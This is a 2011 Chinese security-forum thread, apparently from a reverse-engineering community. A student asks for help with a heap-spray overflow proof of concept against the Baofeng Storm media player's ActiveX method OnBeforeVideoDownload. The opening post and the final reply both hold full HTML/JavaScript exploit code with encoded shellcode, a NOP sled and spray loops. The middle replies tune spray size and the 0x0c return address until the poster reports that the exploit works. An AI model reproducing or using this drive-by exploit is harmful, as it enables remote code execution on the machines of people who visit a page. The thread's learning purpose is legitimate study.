首页
社区
课程
招聘
[求助][求助]暴风影音<3.9.4.17 OnBeforeVideoDownload()函数溢出测试
发表于: 2011-1-19 22:49 6523

[求助][求助]暴风影音<3.9.4.17 OnBeforeVideoDownload()函数溢出测试

2011-1-19 22:49
6523
同学开始学溢出了,没发帖权限,偶又不懂,故帮其发个帖,请大牛指教

<html>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id='target'></object>
<body>
<SCRIPT language="javascript">
//heap spray  模板开始
//这里为exec calc shellcode
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
memory=new Array();
for (x=0; x<200; x++) memory[x] = block + shellcode;
var buffer = '';
//heap spray  模板结束
//下面为疑惑点
//经测试溢出点在4145-4148,因填补'%u0A0A%u0A0A'为四字节,故循环控制为4148/4=1037,感觉这样计算对的但运行这个poc没一点效果,肯请牛牛们指教!
while (buffer.length < 1037) buffer+=unescape('%u0A0A%u0A0A');

target.OnBeforeVideoDownload(buffer);
</script>
</body>
</html>

【ps:winhex貌似查看不到0A0A0A0A内存内容?】

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
貌似是0c么
2011-1-20 02:04
0
雪    币: 23
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这年头谁还用暴风影音啊,那简直是广告发布器。
2011-1-20 09:42
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
我觉得是因为你heap spray的内存范围不够,0x0a0a0a0a还没到达你spray的那片地址,你让你同学自己跟一下,看看是不是这个原因!
2011-1-20 10:21
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
暴风影音 又有新漏洞?
2011-1-20 16:22
0
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢huihuiqi兄,heap spray内存增大后,依旧不行,参考三根火柴的http://kssd.pediy.com/pediy10/98693.html
本地测试还是不行 俺那同学在郁闷中。
2011-1-21 10:07
0
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
只要heap spray空间到位,感觉0a 0c一样的,不是吗?
2011-1-21 10:08
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
内存增大了多少?
你heap spray了多少个内存块,每个内存块的大小是多少?
2011-1-21 10:30
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
看样子是200个块,估计不太够哦~!
另外metasploit里有类似的利用代码,可以研究下!
2011-1-21 10:35
0
雪    币: 171
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
感谢huihuiqi一直关注
代码调试好了

<html>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id='target'></object>
<body>
<SCRIPT language="javascript">
//var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");  
var shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
memory=new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
//这里为4148即可,不需要那么繁琐的计算
while (buffer.length < 4148) buffer+=unescape('\x0c\x0c\x0c\x0c');
target.OnBeforeVideoDownload(buffer);
</script>
</body>
</html>
2011-1-21 20:38
0
游客
登录 | 注册 方可回帖
返回
//